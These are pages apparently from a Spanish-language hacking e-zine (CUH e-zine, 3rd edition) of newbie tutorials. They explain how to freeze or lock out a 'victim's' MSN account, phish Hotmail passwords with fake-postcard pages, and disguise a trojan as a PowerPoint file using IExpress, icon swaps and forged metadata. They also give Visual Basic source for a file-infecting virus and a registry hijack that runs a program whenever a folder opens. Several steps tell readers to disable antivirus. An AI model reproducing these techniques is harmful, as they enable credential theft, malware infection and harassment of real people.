Utilidades MSN CUH e-zine 3ª Edicion Windows Live MSN link: http://g.msn.com/8reen_us/ES/INSTALL_MSN_MESSENGER_DL.EXE PLUS : http://download.msgpluslive.net/setup/MsgPlusLive-422.exe IPGET : http://www.msgpluslive.net/scripts/browse/index.php?act=view&id=108 Si los links caducan con el tiempo www.softonic.com y www.google.com los encuentran fácilmente Instalan todo, etc... Para ver el IP Get solo hay que ir a los scrips de MSN situados acá: En el momento de el envió abrimos el IP Get y nos saldrá esto:

Y listo tendremos el IP de el contacto =D Otros métodos Bueno podría estar escribiendo mucho tiempo ya que hay muchos métodos, daré algunos ejemplos IP CON HOTMAIL. Bueno simplemente hagan esto (está basado para Windows live Hotmail en el antiguo es mas fácil aun, si alguien quiere saber como se hace que busque en el todopoderoso Google) abajo están los pasos a seguir. En otros tipos de correo como Yahoo, Gmail etc.… no creo que sea muy diferente.

En el punta de los cuadraditos de colores clickean y les sale eso

Paso 1- Cambiar a versión completa de Windows Live Hotmail. Bueno abrimos la ventana de MSN de

nuestra victima y le enviamos algo: Paso 2- Abrimos la bandeja de entrada y le damos clic derecho al mail al cual queramos saber el IP de quien lo envió Paso 3- Teniendo el clic derecho apretado, hacer clic en ver código fuente y listo. Bueno también están los IP por lanzadores de exploits troyanos etc... Pero no viene al tema. Para este capitulo le agradezco a todos los que postearon en el foro los diferentes links, y los post de los IP también, también pongo el link de ing. social dicho mas arriba Link: http://foro.el-hacker.com/index.php/topic,61858.0.html Post echo por Programar, yo aprendí con ese post. También se puede sacar la IP de alguien con acceso físico al computador pero eso depende de cada uno. Sacar IP con acceso físico con Internet es www.caulesmiip.com Sin Internet inicio>ejecutar>cmd>escribimos ipconfig Si no se puede poner Inicio>panel de control> conexiones Internet, escogen la conexión de Internet que estén usando, le dan al clic derecho entran a propiedades, van a soporte y esta el IP, si no simplemente con apretar con el clic derecho en la conexión abajo a la izquierda esta el IP. Congelar MSN.

Page 14: Joejdf - WordPress.com · 2008-05-21 · ¾ Aprende cambiar tus IP y crear un reseteador de estas (siendo dinámicas o Estática) En este manual Tratare de enseñar a usar el Hide

Hacking Newbie

Utilidades MSN CUH e-zine 3ª Edicion Antes de todo yo les aviso que no estoy de acuerdo con este tipo de actividades. Muchos han escuchado del famoso programa congelador de MSN o tumba MSN ahora haré un manual donde explicare su uso desde 0. Empecemos por saber para que sirve, el programa lo que hace es mandar una cantidad muy grande de iconos gestuales de MSN hasta que el uso de cpu llegue al 99% al llegar a eso el PC de la victima se queda pegado /colgado (como lo quieran llamar). Bueno explicare paso a paso. Paso 1: Desactivar los iconos gestuales de el MSN (aprietan en su nick >opciones>mensajes>desactivar iconos gestuales) Importante: Es muy importante que hagas eso , si no a ti también se te quedara pegada la PC , también aviso que en el momento de tumbar el MSN de tu victima tu PC se quedara “pegado “ por aproximadamente unos 40 segundos. Paso 2: Abre solamente la ventana de tu victima y abre el congelador de msn

Y al apretar tumbar MSN, tu PC se quedará pegada 40 seg., después verás que tu victima se desconecto, y entrara de nuevo a msn, y se lo haces de nuevo hasta que piense que es un virus xD. Nota: Normalmente los antivirus lo detectan como un Virus. ¿Por qué? Se dice que es por que Microsoft le pago a las casas de Antivirus, ya que nadie ha dado con la solución para esto, piensa que si cada ves que te metes al MSN tienes que reiniciar el PC…. Pero les aseguro que no es un virus solo desactiven su Antivirus y listo, yo lo use y no me paso nada si no lo uso ahora es por que no me parece adecuado. LINK DESCARGA DEL PROGRAMA: http://www.4shared.com/file/25854858/97891d2a/Tumba_MSN.html Bloquear MSN. ¿Que es un bloqueador de MSN? Un bloqueador de MSN lo que hace es que tu victima no pueda ingresar a su correo ni a su MSN mientras tengas el programa encendido con solo la necesidad de tener su cuenta, sin necesidad de el password.

¿Como lo hace?: Este programa se basa en que Hotmail tiene un bloqueo, si uno intenta iniciar sesión muchas veces tu cuenta queda bloqueada de 1 a 5 horas, si tienes el programa encendido lo intentara siempre y hasta que no lo apagues el/ella no podrá entrar…. NOTA: Si bloqueaste a alguien y después de 1 hora entro de nuevo solo cierra el programa y inténtalo de nuevo. Solamente se puede aplicar si la persona esta desconectada (si esta conectada solo usa el congelador de mas arriba y en el momento que no este usas el bloqueador y el no podrá ingresar mas o por ing. social dile que se salga 10 segundos) Explicare paso a paso el uso del programa. Paso 1: Descargamos el programa de: http://209.85.129.104/search?q=cache:NqV7fvJwIG8J:ciberadictos.spaces.live.com/blog/cns!71FE242F7B0E79C9!1428.entry+bloqueador+de+msn&hl=es&ct=clnk&cd=13&gl=cl&lr=lang_es Paso 2: Lo abrimos y ponemos el mail de tu victima (No puede estar conectada)

Listo, hasta que no lo saques no tendrá ni

MSN ni Hotmail, si lo usas seguido a la misma persona seguramente se terminara por crear otra cuenta, espero que no les haga problema desconectar a alguien de MSN. Nota: Sus AV también lo detectaran como virus, pero no les pasara nada se los aseguro.

Hackeo de MSN, las maneras menos complicadas para newbies Esto esta echo especialmente para un newbie, y se basa en “hackear” a personas con poca experiencia en esto, como la mayoría de la gente que usa el computador para escuchar musica, navegar, chatear, y usar el office. Empecemos por lo menos complicado que todos pueden hacer, los llamados correos fake, generalmente se basan en postales, las cuales uno le envía un correo a alguien en el cual para ver la postal hay que logearse a msn, las opciones de los mejores correos fake o lanzadores de exploits son: - Tu email (al cual te llegan las contraseñas) -Email falso con el cual le llegará el correo (ideal para poner a alguien conocido de tu victima) - Nombre falso. (Con el cual le llegara el correo)

Page 15: Joejdf - WordPress.com · 2008-05-21 · ¾ Aprende cambiar tus IP y crear un reseteador de estas (siendo dinámicas o Estática) En este manual Tratare de enseñar a usar el Hide

Hacking Newbie

Utilidades MSN CUH e-zine 3ª Edicion -Mail verdadero de tu victima. - Mensaje personal que estará en la postal. - Tipo de postal (gusanito, tarjetas bubba, tarjetas NIKO, invitaciones MSN Spaces) -Tipo de correo (Yahoo, Hotmail, Gmail) Listo. Tutorial grafico Entramos a nuestra página de postales, y ponemos las opciones,

Después si todo salio bien nos saldrá esto, (dependiendo se su Pág. de lanzadores)

Son muy fáciles de usar, en el momento de que la victima quiera leer la postal simplemente la redireccionará a una página similar a la de inicio de Hotmail en la cual el/ella ingresará sus datos y después llegaran a tu bandeja de entrada, (dependiendo de la página de donde lo mandaste.) ¿Donde encuentro lanzadores de exploits? (Web donde ingreso los datos mencionados arriba y manda la postal) www.google.com , www.cascanolahack.net, www.colombiahack.com etc.… Acá tienen una contraseña que me llego, a mi bandeja de entrada de mi correo

Gracias a cascanolahack, por su Pág. de

lanzadores. Otros métodos El famoso keylogger se basa en un programa el cual a través de conexión cliente/servidor graba todo lo que una persona escribe en su teclado y dependiendo del keylogger graba todas las páginas Web ingresadas y deja tomar capturas de pantalla cada cierto tiempo. Más información en: Troyanos: http://foro.el-hacker.com/index.php/topic,85484.0.html Exploits: http://foro.el-hacker.com/index.php/board,85.0.html Con mucha imaginación y con ing. social se puede conseguir un pass solo es cosa de tiempo. Trucos msn posteado por Chavero Cheva: http://foro.el-hacker.com/index.php/topic,14287.0.html Bueno le doy las gracias a foro.el-hacker.com y todos los usuarios y todo el excelente equipo de moderadores del foro, ya que gracias a esa comunidad aprendí casi todo lo que se y me enseño a ver muchas cosas de forma diferente. También repito que por opinión personal no estoy de acuerdo con algunas cosas mencionadas aquí, pero al ver en las Pág. que lo más descargado es esto y que muchos entran a este mundo con intenciones como estas les dejo esto para que aprendan bien.

Cualquier duda o comentario [email protected] (solo recibo mails) Saludos RA19

Page 16: Joejdf - WordPress.com · 2008-05-21 · ¾ Aprende cambiar tus IP y crear un reseteador de estas (siendo dinámicas o Estática) En este manual Tratare de enseñar a usar el Hide

Troyanos y virus

de troyanos CUH e-zine 3ª Edicion Creacion

Crear y Encriptar Troyanos By Angelus_7722

CREAR Y ENCRIPTAR NUESTRO SERVER

Una de las preguntas mas comunes al momento de crear y encriptar nuestro server, es como podemos

engañar a nuestra victima para que no sospeche al momento de abrir nuestro server. Antes que todo, debemos tener en cuenta que el arte que envuelve a la ingeniería social es muy importante al momento de tratar de conseguir nuestro cometido, pero no entraré en detalle ya que este tema se ha tocado en anteriores e-zines. Lo que haremos es “maquillar” nuestro server para que no sea tan sospechoso y para ello necesitaremos de las siguientes herramientas:

Server encriptado Presentación Power Point (.pps) PowerPoint Slide Show Convert Iexpress MiTeC IconFactory Resoucer Hacker eXeScope

Utilicé una presentación de Power Point como archivo señuelo ya que a todo el mundo le encanta ver este tipo de archivos, por esta razón es recomendable no usar archivos de imágenes debido a que en el explorador de windows, el msn y correos electrónicos, pueden pre visualizar imágenes, generando de esta manera sospechas, debido a que el archivo que estamos enviando es de extensión .exe Bueno, lo primero que vamos a hacer es convertir nuestro archivo lo_mejor.pps en lo_mejor.exe, con el fin de poder utilizar el Iexpress como binder. Como todos saben, el Iexpress es una herramienta propia de Windows que podemos utilizar para unir o juntar dos archivos de extensiones .exe en uno solo también de extensión .exe, convirtiéndose de esta manera en el binder perfecto, indetectable a los anti virus. Para ello utilizamos un programa llamado PowerPoint Slide Show Converter, aunque existen muchos mas que nos sirve para realizar este tipo de conversión. Abrimos Power Point Slide Show Converter:

Luego veremos el menu principal

Seleccionamos Simple Mode y veremos lo siguiente

Ahora solo debemos presionar el botón Make Slide Show para que realice la conversión. Una vez finalizada la conversión presionamos el botón aceptar.

Al final veras el resultado de tu presentación de Power Point, en un archivo aplicativo.

Page 17: Joejdf - WordPress.com · 2008-05-21 · ¾ Aprende cambiar tus IP y crear un reseteador de estas (siendo dinámicas o Estática) En este manual Tratare de enseñar a usar el Hide

Troyanos y virus

de troyanos CUH e-zine 3ª Edicion Creacion

Bueno, lo siguiente que haremos es bindear el server encriptado (troyano) con lo_mejor.exe (señuelo).

No entro en detalle sobre la confifuración ya que la info la puedes encontrar en foro.el-hacker.com. El resultado del bindeo es un archivo aplicativo o ejecutable como el siguiente:

Lo siguiente que haremos es buscar el Icono de power point, el cual podremos extraer con un programa muy bueno llamado MiTeC IconFactory

Lo siguiente que haremos es abrir el programa y seleccionar open desde File ubicado en el menú principal.

Acontinuacion ubicaremos la carpeta de Microsoft office para ubicar el icono de Power Point

Le damos doble clic a POWERPNT.EXE y veremos todos los iconos que maneja dicho programa. En este punto debemos seleccionar el icono que deseamos y el de mayor tamaño.

Lo que haremos ahora es guardar el icono para ser utilizado mas adelante.

El resultado es un archivo con extensión .ico

El siguiente paso es cambiar el icono de nuestro server, ya que el que tiene actualmente corresponde al asignado por el IExpress. Para poder hacer el cambio utilizamos programa conocidos por todos que es el Resoucer Hacker.

Page 18: Joejdf - WordPress.com · 2008-05-21 · ¾ Aprende cambiar tus IP y crear un reseteador de estas (siendo dinámicas o Estática) En este manual Tratare de enseñar a usar el Hide

Troyanos y virus

Creacion de troyanos CUH e-zine 3ª Edicion

Lo que haremos es seleccionar el archivo al que queremos cambiarle el icono, siendo en nuestro caso el server que ya bindeamos y que denominamos como Archivo_IExpress.exe.

Una ves seleccionado el archivo procedemos eliminar la carpeta AVI como lo muestra en la figura.

El siguiente paso consiste en cambiar el icono, asi que debes seleccionar la opción Replace Resource

Ahora lo que debemos hacer es cambiar el icono actual por el icono de Power Point, para ello

oprimimos el botón Open File with new Icon.. y ubicamos el archivo POWERPNT_4.ico

Después solo debemos oprimir Replace

Como verán los iconos ya fueron cambiados y solo queda guardar los cambio con la opción save as y elegimos guardar sobre el ya existente es decir en Archivo_IExpress.exe.

Como se darán cuenta, saldrá un mensaje preguntando si desean remplazar el archivo, al cual deberán darle yes. Al final y después de refrescar la ventana donde se encuntra nuestro server, veremos que su icono a cambiado.

Page 19: Joejdf - WordPress.com · 2008-05-21 · ¾ Aprende cambiar tus IP y crear un reseteador de estas (siendo dinámicas o Estática) En este manual Tratare de enseñar a usar el Hide

Troyanos y virus

Creacion de troyanos CUH e-zine 3ª Edicion

Si detallan el archivo podrán ver datos como Win32 Cabnet Selft-Extractor y Microsoft Corporation, información que levantaría sospechas. Para dar solución a este inconveniente usaremos un programa llamado eXeScope

Lo siguiente que haremos es dar en la X para cerrar el programa, pero antes de que se cierra nos pide confirmar el cambio del tamaño del archivo al cual le daremos aceptar

Lo que debemos hacer es abrir nuestro server con este programa.

Al final obtendremos un archivo mas creíble al que debemos cambiarle el nombre por el original de la presentación de Power Point, lo_mejor.

Ahora lo que haremos es modificar algunos datos para mejorar su aspecto, FileDescription y CompanyName. Lo primero es dar un clic al botón derecho sobre FileDescription, seleccionamos editar y escribimos lo que queramos, por ejemplo Microsoft Office, lo mismo hacemos con CompanyName, al cual lo cambiaremos por Power Point.

Aclaro que lo mas importante es la Ingeniería Social que usemos con nuestras victimas, aunque un poco de ayuda no está mal.

Saludos

Angelus_7722

Después de modificarlo veremos algo como…………

Page 20: Joejdf - WordPress.com · 2008-05-21 · ¾ Aprende cambiar tus IP y crear un reseteador de estas (siendo dinámicas o Estática) En este manual Tratare de enseñar a usar el Hide

Exploits

Conocimiento Basico De Exploits CUH e-zine 3ª Edicion

Conocimiento Basico De Los Exploits By SkullMaster123

CONOCIMIENTOS BÁSICOS DE

LOS EXPLOITS, VULNERABILIDADES, ETC...

Saludos, bueno aquí les voy a

explicar conceptos básicos de los exploits y otras cosas, ya que he visto que muchos users postean esto lo otro, pues aquí les dejo ciertas cosas básicas! Bueno comencemos: ¿Qué es un exploit? Los exploits son unas de las muchas maneras de explotar alguna vulnerabilidad en un sistema, cuya seguridad puede ser saltada por este. Al hablar de querer explotar un bug tienes que estar programado dicho exploit en el lenguaje correspondiente y sin ningún error en sus líneas, existen formas diferentes de ejecutarlo ya sea local o remota. Exploit también viene de la palabra ingles, que significa explotar, este en realidad es un código malicioso. ¿Qué es una Vulnerabilidad? una vulnerabilidad es una debilidad en los procedimientos de seguridad, diseño, implementación o control interno que podría ser explotada (accidental o intencionalmente) y que resulta en una brecha de seguridad o una violación de la política de seguridad de sistemas Explotar Forma Local: Este caso nuestro exploit esta en nuestra maquina, a eso se refiere el nombre, Un ejemplo bien visto sobre esta forma de explotar es la shell. Explotar Remotamente: En este caso es lo contrario estaríamos atacando a algún servidor que tenga red, esto se realiza a través de puerto, sean privilegiados o no. Puertos Privilegios: Esto son menores que 1024, estos están reservados al S.O Puertos no privilegios: Estos son mayores que 1024.

Tipos de exploits: Aquí nombrare algunos exploits (Los que me acuerdoXD) su nombre y definición, algunos también, solo son vulnerabilidades o bugs: Desbordamiento del Buffer: es un error de software que se produce cuando se copia una cantidad de datos sobre un área que no es lo suficientemente grande para contenerlos, sobrescribiendo de esta manera otras zonas de memoria. Como consecuencia, se producirá una excepción del acceso a memoria seguido de la terminación del programa o, si se trata de un usuario obrando con malas intenciones, la explotación de una vulnerabilidad o agujero de seguridad. Describiendo la técnica: Un desbordamiento de buffer ocurre cuando los datos que se escriben en un buffer corrompen aquellos datos en direcciones de memoria adyacentes a los destinados para el buffer, debido a una falta de validación de los datos de entrada Cross-site scripting o XSS: Esta es muy conocida, jeje y algunas personas la aprovechan, esto ocurre cuando hay una vulnerabilidad en el HTML o en la validación de este. Originalmente abarcaba cualquier ataque que permitiera ejecutar código de "scripting", como VBScript o javascript, en el contexto de otro dominio. Inyección SQL: También es muy conocida y muy usada esta vulnerabilidad, esta ocurre en el nivel de la validación de las entradas a la base de datos de una aplicación. El origen es el filtrado incorrecto de las variables utilizadas en las partes del programa con código SQL. Es, de hecho, un error de una clase más general de vulnerabilidades que puede ocurrir en cualquier lenguaje de programación o de script que esté incrustado dentro de otro.(En este caso no seria un exploit sino una vulnerabilidad) Ataque DoS: Es un ataque a un sistema de ordenadores o red que causa que un servicio o recurso sea inaccesible a los

Page 21: Joejdf - WordPress.com · 2008-05-21 · ¾ Aprende cambiar tus IP y crear un reseteador de estas (siendo dinámicas o Estática) En este manual Tratare de enseñar a usar el Hide

Exploits

Conocimiento Basico De Exploits CUH e-zine 3ª Edicion usuarios legítimos. Normalmente provoca la pérdida de la conectividad de la red por el consumo del ancho de banda de la red de la víctima o sobrecarga de los recursos computacionales del sistema de la víctima.

Se genera mediante la saturación de los puertos con flujo de información, haciendo que el servidor se sobrecargue y no pueda seguir prestando servicios, por eso se le dice "denegación".

ROOT Exploit:

Un rootkit es un utilidad que, archivos en formato exe o bien ejecutables (como quiera llamarse) han sido previamente troyanizados por alguna persona que los programó, con el fin de que ésta persona pueda permanecer indetectable al momento de permanecer en un sistema que va a comprometer. Esto es muy utilizado por aquellas personas que no cuenta con el conocimiento necesario para poder programar sus propias herramientas para que los mantengan ocultos. Algunos de estos rootkits pueden llegar a modificar el Kernel, llámese en Windows y Linux.

Link ROOT Exploit: http://rapidshare.com/files/40261958/rootexploits.rar.html

Escáner de vulnerabilidades:

Bueno este es un programa que muchas personas que exploten bugs etc deberían tener este escanea algún sitio Web y luego te da un informe de las vulnerabilidades que tienes (Si es que tiene claro) y luego de vez en cuando te da un link de ese exploit! Uno de esos programas es: Shadow Security Scanner (O SSS)

- No basta Solo con Escanear una Pagina Web con Shadow Security Scanner, Acunetix, u Otro, estos software son de auditoria, dejan un Log, Tremendo en la maquina remota, los administradores de estos servidores, si sabrán quien escaneo, aunque utilices Proxy.

¿Que es un Proxy? el término Proxy hace referencia a un programa o dispositivo que realiza una acción en representación de otro, en pocas palabras esto oculta tu IP. ¿Qué es un Xploit? Esto NO es lo mismo que Exploit, un Xploit es un fake mail, Enviar correo electrónico falseando el

remitente. Se trata de una técnica muy empleada en Ingeniería Social. Para poder obtener contraseñas de Hotmail, yahoo o cualquier tipo de compañía para los correos electrónicos. Al Enviar un mail y la victima hacer click este se ridereccionaba automáticamente al XPLOIT, el cual era una mascara , el Xploit le Pedía los datos, exactamente igual como si fuese el Index de Hotmail, Pero una vez Puesto, estas contraseñas van al Email del Atacante, luego de ingresar, les salía un error, y tenían que volver a colocar la contraseña pero esta vez, si era el Index de Hotmail, e ingresaban a sus Correos Normalmente. Una gran diferencia que se ha de tomar en cuenta! ¿Dónde encuentro Exploits? Bueno hay muchas páginas donde descargarlos aquí dejo algunas: http://www.milw0rm.com/ http://www.securityfocus.com/ http://www.blacksheepnetworks.com/security/hack/ Bueno milworm es buena, pero primero para usar exploits tienes que leer muchos, también seria buen que supieras lenguaje de programación en este caso C, ya que es uno de los mas utilizados para los Exploits, y bueno leer, leer, leer… Otra cosa nunca ejecutes un exploit si no sabes lo que hace! Bueno creo que este corto manual menciono ciertas cosas importantes, hasta donde me acuerdo! Espero que lo hallan disfrutado y entendido que es muy importante, bueno un saludo a toda la C.U.H, y si me falto algo disculpen!! Y mis mas sinceras disculpas! ;)

By-SkullMaster123

Page 22: Joejdf - WordPress.com · 2008-05-21 · ¾ Aprende cambiar tus IP y crear un reseteador de estas (siendo dinámicas o Estática) En este manual Tratare de enseñar a usar el Hide

Programacion VB

Infectar Ficheros Ejecutables CUH e-zine 3ª Edicion

Infectar Ficheros Ejecutables En Windows By ANYD00M

INFECTAR FICHEROS EJECUTABLES

Antes que nada me presento, soy ANYD00M y les dejo un artículo sobre como infectar ficheros ejecutables de Windows utilizando el lenguaje Visual Basic 6.0. El

siguiente artículo no fue creado con fines de inclusión a algún virus aunque así se exponga, y debe ser utilizado solo con fines educativos y de aprendizaje propio a tu persona. Por ende debes hacerte responsable de tus acciones a la hora de utilizar el contenido, no nos comprometa ;-)

Lo que haremos será crear una rutina para infectar archivos ejecutables (*.exe) de un sistema utilizando Visual Basic 6.0. El método que usaremos será el prepending que se basa en introducir los bits del virus sobre los bits del ejecutable original y luego introducirle una marca para saber si esta infectado o no, normalmente al ejecutable a infectar se lo denomina host y así lo llamaremos nosotros también. Seguramente ya abran oído hablar del prepending y abran visto su esquema =P. Mirando el esquema se darán una idea mas fluida de lo que estamos hablando, veamos los esquemas que nos indicaran las 3 secuencias por las que pasa el ejecutable al ser infectado. 1er esquema, el fichero ejecutable en su estado original:

--------------------------- | HOST | ---------------------------

2do esquema, al fichero se le agregan los bits del virus:

--------------------------- | VIRUS | --------------------------- | HOST | ---------------------------

3er esquema, se agrega una marca de infectado:

--------------------------- | VIRUS |

--------------------------- | HOST | --------------------------- | MARCA | ---------------------------

Bueno, quedo un poco feo, pero da una idea de lo que estamos hablando. Lo teórico es solo esto, y esto es lo único que tienen que saber, ahora comencemos a programar. Primero lo primero… Para comenzar debemos realizar los principios básicos, y comenzamos programando en el Form_Load. Para infectar debemos utilizar una copia del virus que no se este ejecutando en memoria, sino al intentar abrirlo el VB nos dará error. El código estará comentado para no tener que cortarlo con explicaciones: Private Sub Form_Load () 'Declaramos las variables que usaremos. Dim Vx As String, PE As String 'Si nos estábamos ejecutando _ terminamos la aplicación If App.PrevInstance Then End 'Establecemos a Vx como la ruta completa _ del virus. Vx = App.Path & "\" & App.EXEName & ".exe" ‘Copiamos el virus y reestablecemos el _ valor de la variable. FileCopy Vx, “C:\VIRUS.exe” Vx = “C:\VIRUS.exe” 'Establecemos a Pe como la ruta completa _ del ejecutable a infectar. Pe = "C:\HOST.exe" 'Ya tenemos lo que necesitamos, ahora _ solo debemos llamar a la Funcion que _ infectara el archivo, pasándole como _ parámetros la ruta del virus y la del _ archivo a infectar (Pe o C:\HOST.exe) Call InfectarFichero(Vx, Pe) End Sub Bien, ahora debemos crear la función que infectara el fichero (en este caso HOST.exe ubicado en la raíz C:\). A la Función le pasaremos dos parámetros, el primero será la ruta completa del virus y el segundo

Page 23: Joejdf - WordPress.com · 2008-05-21 · ¾ Aprende cambiar tus IP y crear un reseteador de estas (siendo dinámicas o Estática) En este manual Tratare de enseñar a usar el Hide

Programacion VB

Infectar Ficheros Ejecutables CUH e-zine 3ª Edicion será la ruta completa del fichero a infectar. Lo que hará esta función será abrir de forma binaria el virus, obtener sus bits y bytes, luego abrir el fichero a infectar y agregarle los bits al principio y la marca al final. Eso fue fácil ¿no?, ahora comencemos con la función principal: Private Function InfectarFichero(Virus As String, Host As String) 'Declaramos variable/s Dim Marca As String, BtsHost As String 'Establecemos la marca Marca = "HOSTInfectado" 'Abrimos el fichero para saber si esta infectado Open Host For Binary Access Read As #1 'Obtenemos el tamaño en bytes _ del fichero BtsHost = Space(LOF(1)) 'Obtenemos todo su contenido. Get #1, , BtsHost 'Cerramos el archivo Close #1 'Miramos si el archivo ya esta infectado If InStr(BtsHost, Marca) <> 0 Then 'Si esta infectado salimos. Exit Function Else 'Sino lo infectamos... 'Establecemos la variable aquí _ ya que si la poníamos al inicio _ y no la usábamos, gastábamos _ espacio en memoria de gusto. Dim BtsVirus 'Abrimos de forma binaria el virus Open Virus For Binary Access Read As #2 'Obtenemos el tamaño (en bytes) usando _ la función Len(Archivo) BtsVirus = Space(Len(Virus)) 'Obtenemos los bits... Get #2, , BstVirus 'Cerramos el archivo Close #2 'Abrimos el fichero para infectarlo Open Host For Binary Access Write As #3 'Ponemos los bits del virus Put #3, , BtsVirus 'Ponemos los bits del original Put #3, , BtsHost 'Ponemos la marca Put #3, , Marca 'cerramos Close #3 End If End Function

Muy bien, con esto ya tenemos infectado el fichero. Pero ¿Que pasa si queremos que cuando el usuario ejecute el fichero infectado, para no levantar sospechas se ejecute también el ejecutable original?. Para esto deberíamos crear otra función que cree un archivo temporal con los bits del fichero original, lo ejecute y lo elimine. Así quedaría en memoria el virus y el fichero infectado. Bueno, comencemos: Function DesinfectarFichero(Pe As String) Dim Host As String 'Copiamos para poder abrirlo de forma _ binaria. FileCopy Pe, "C:\Temporal.exe" 'Abrimos y extraemos los bits correspondientes _ al Host. Open "C:\Temporal.exe" For Binary Access Read As #1 'Obtenemos los bits del host, pero ATENCION _ para esto debemos saber los bits que tenia _ nuestro virus al ser compilado, esto lo _ pueden obtener en las propiedades ;) Host = Space(Len("C:\Temporal.exe") - 20382) 'Obtenemos a Host. Get #1, , Host 'Cerramos Close #1 'Ahora creamos otro fichero temporal para poner _ el Host, no es necesario que exista anteriormente _ ya que VB lo crea si no existe. Open "C:\HostTemporal.exe" For Binary Access Write As #2 'Ponemos los bits del host Put #2, , Host 'Cerramos Close #2 'Ejecutamos el Fichero Shell "C:\HostTemporal.exe" 'Eliminamos los archivos temporales: Kill "C:\Temporal.exe" Kill "C:\HostTemporal.exe"

Page 24: Joejdf - WordPress.com · 2008-05-21 · ¾ Aprende cambiar tus IP y crear un reseteador de estas (siendo dinámicas o Estática) En este manual Tratare de enseñar a usar el Hide

Programacion VB

Infectar Ficheros Ejecutables CUH e-zine 3ª Edicion End Function

con esto ya habremos terminado, espero les halla

OTAS:

Yservido. NPero a pesar de que tengamos ahora esta valiosa

función, nos hace falta modificar un poco el Form_Load, para saber ni bien se ejecute el virus si se encuentra alojado en un fichero infectado o si es ejecutado desde su propio ser =P.

tener el tamaño en bytes del virus, una vez

a infección de ejecutables en un virus supone un

-Para obque lo hallan compilado se dirigen a él y le hacen clic derecho, van a propiedades y ahí les dirá el tamaño. Así que, vamos a agregar unas líneas al Form_Load: -L motor de búsqueda de archivos que realice esta acción por todo el disco, esto lo podrán encontrar fácilmente en Internet pero yo no lo eh puesto ya que es muy largo.

Private Sub Form_Load() 'Declaramos las variables que usaremos. Dim Vx As String, Pe As String 'Si nos estábamos ejecutando _ terminamos la aplicación If App.PrevInstance Then End 'Establecemos a Vx como la ruta completa _ del virus. Vx = App.Path & "\" & App.EXEName & ".exe" '*Líneas agregadas* 'Verificamos si el tamaño del virus es _ el correcto o pesa mas. De pesar mas _ suponemos que se encuentra en un fichero _ infectado, así que llamamos a la función _ que "desinfecta" If Len(Vx) > 20382 Then Call DesinfectarFichero(Vx)

Les envío un cordial saludo a todos los lectores de la

Atte. ANYD00M

rticulo escrito formalmente para la CUH E-Zine #3

End If 'Establecemos a Pe como la ruta completa _

CUH e-zine y espero nos sigan apoyando como lo han hecho.

del ejecutable a infectar. Pe = "C:\HOST.exe"

'Ya tenemos lo que necesitamos, ahora _ [A solo debemos llamar a la función que _ de la comunidad El-Hacker.com]

infectara el archivo, pasándole como _ parámetros la ruta del virus y la del _

archivo a infectar (Pe o "C:\HOST.exe" Call InfectarFichero(Vx, Pe)

End Sub

Page 25: Joejdf - WordPress.com · 2008-05-21 · ¾ Aprende cambiar tus IP y crear un reseteador de estas (siendo dinámicas o Estática) En este manual Tratare de enseñar a usar el Hide

Programación

Interceptar apertura carpetas CUH e-zine 3ª Edicion

INTERCEPTAR LA APERTURA DE CARPETAS By ANYD00M

INTERCEPTAR LA APERTURA DE CARPETAS

Lo que veremos a continuación es una manera de interceptar la apertura de una carpeta (cualquier carpeta). El articulo que sigue se aplicara al

lenguaje Visual Basic 5.0 o 6.0 y trata sobre como modificar el registro..

Esta técnica es muy simple y no tiene mucho que explicar, así que veámoslo: Cuando se abre una carpeta, al igual que al intentar abrir un fichero, se producen una serie de operaciones que lleva a cabo Windows sobre el registro para saber con que debe mostrar el contenido de dicha carpeta. Esta técnica se ah visto aplicada a virus, que, como ya saben, las carpetas no se pueden infectar en si, sino su contenido, y esto es lo mas cercano a infectar una carpeta (abrir la misma y que se abra el virus también). Lo que veremos nosotros no será como aplicarla a un virus, ya que no me interesaría enseñarles eso, sino aplicárselo a una simple aplicación que nos puede servir como seguridad para nuestras carpetas. ¿Como lo haremos? Pues no creare una aplicación de seguridad para carpetas, pero seguramente entenderás como se puede hacer después de leer esto. Cuando hacemos doble clic sobre un icono de carpeta, estamos enviando un comando a Windows y este comenzara a analizarlo. Pues bien, Windows reconoce que a lo que se le hizo doble clic era a una carpeta, así que… ¿Qué clave de registro tiene que leer para saber como y con que abrirlo? Dicha clave como ya se deben haber imaginado esta en HKEY_CLASSES_ROOT y es Directory (Completa: “HKEY_CLASSES_ROOT\Directory”). Esta clave contiene otra clave llamada Shell y esta clave tiene

un valor, que por defecto será “none” (o estará vació en algunos casos, creo..). Dicho valor (“none”) es la acción que va a cumplir Windows, y la buscara en las claves que se encuentren dentro de “Directory”. Si no encuentra dicha acción (“none” no la va a encontrar por defecto) abrirá la carpeta con el archivo “Explorer.exe” ubicado en el directorio de Windows (%SystemRoot%). Lo que haremos nosotros será cambiar esa acción, none, por una nuestra. Luego agregar esa acción a la clave “Directory” y cuando Windows encuentre la clave de la acción lo que pedirá será la aplicación con que hay que abrir la carpeta, y pues esta será nuestra aplicación. Veamos esta pequeña imagen hecha rudimentalmente en el Paint xD

Como verán, la clave final que debemos modificar es: “HKEY_CLASSES_ROOT\Directory\Shell” y debemos cambiar su valor por defecto por una acción inventada por nosotros, por ej. “PROTECTO” Luego debemos añadir esa acción, para ello debemos crear una clave dentro de Shell con el nombre “PROTECTO” y en su valor por defecto poner nuestra aplicación..

Page 26: Joejdf - WordPress.com · 2008-05-21 · ¾ Aprende cambiar tus IP y crear un reseteador de estas (siendo dinámicas o Estática) En este manual Tratare de enseñar a usar el Hide

Programación

Interceptar apertura carpetas CUH e-zine 3ª Edicion

Esto seria así: Private Sub CrearAccion() Dim Wss as object, Yo as string Yo = App.Path & “\” & App.EXEName & “.exe” Set Wss = CreateObject(“Scripting.FileSystemObject”) ‘Aplicamos la acción: Wss.RegWrite “HKEY_CLASSES_ROOT\Directory\Shell\”, “PROTECTO” ‘Creamos la accion: Wss.RegWrite “HKEY_CLASSES_ROOT\Directory\Shell\PROTECTO\”, Yo & “ %1” End Sub Con esto ya correríamos nuestra aplicacion cada vez que se intente abrir una carpeta. Pero no se estaría abriendo la carpeta, así que la idea seria que en el Form_Load agreguen unas líneas, que verifiquen si nuestra aplicación esta recibiendo comandos (se hace con el objeto Command$) y si esos comandos corresponden a una carpeta (lo hacemos con GetAttr). Pero antes debemos arreglar una cosita del código anterior, lo que debemos hacer es agregar después de nuestra aplicación en la clave PROTECTO esto: “%1” (sin Comillas) eso corresponde a la carpeta que se quiere abrir, para Windows %1 es una variable ;-)

